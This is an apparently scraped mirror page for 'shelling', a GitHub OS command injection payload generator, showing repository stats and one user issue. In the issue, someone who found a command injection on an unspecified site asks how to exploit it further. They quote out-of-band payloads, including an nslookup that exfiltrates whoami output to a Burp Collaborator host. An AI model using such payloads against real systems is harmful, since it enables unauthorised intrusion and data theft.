GithubHelp home page GithubHelp logo

ewilded / shelling Goto Github PK

View Code? Open in Web Editor NEW
435.0 19.0 113.0 9.81 MB

SHELLING - a comprehensive OS command injection payload generator

Perl 3.86% PHP 25.37% Java 62.35% HTML 0.20% C 8.05% Python 0.17%

shelling's People

Contributors

ewilded avatar hamidzr avatar

Stargazers

avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar

Watchers

avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar

Forkers

l3m0n markart ht13 ognz zvuci icesword-syy antonini security-prince jumbo-wjb sirusdv olivierh59500 tuian yangxiaodi flying0er peterdocter secarmalabs infosecsecurity nimdakey expertasif whoamiecho yuliyu123 mehrdad-shokri kbahaxor nbg0x1 attacker34 samyoyo codingeverysolution anarquias shantanu561993 magma2 paralax m31n99 portswigger 30579096 mkv4 ankushshekhawat reanimat0r teicu damian89 sasqwatch conanjun gavz offxec freeide quixoticluck seabreg freemanzyq appurajv rudrasingh99 evrohachik m00zh33 5l1v3r1 myssr zhaodoublehuan icukeup mmg1 fdlucifer johnjohnsp1 gh0st0ne asked637 aditya-chauhan17 darthmanwe bigbrobro naveen12 noobsdt popmedd izj007 ludashuai001 samjoan huangzccn hjk201960 readloud zhuhuibiao w4n95 skyn9ne 3mr3-sec k0z4c iq-scm hanjiegit naitsirhc41

shelling's Issues

out-of-band data exfiltration Command Injection

A few days ago I found a vulnerability in a site of interest through burp suite scanner using nslookup xxx.burpcolaborator.com exploit with the following feature

Issue: OS command injection
Severity: High
Confidence: Certain

the vulnerability only responds when using ` and only responds to the nslookup, sleep and ping including the burp colaborator.

These are the only commands it respond to.

nslookup xxx.burpcolaborator.com
ping xxx.burpcolaborator.com
sleep 10

other commands like nslookup $(whoami).xxx.burp collaborator.com They do not give any answer, please I would appreciate it if you could help me with this problem since I cannot find a way to exploit this vulnerability and I want it to execute other commands apart from nslookup or sleep.

I await your response.
Thanx

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.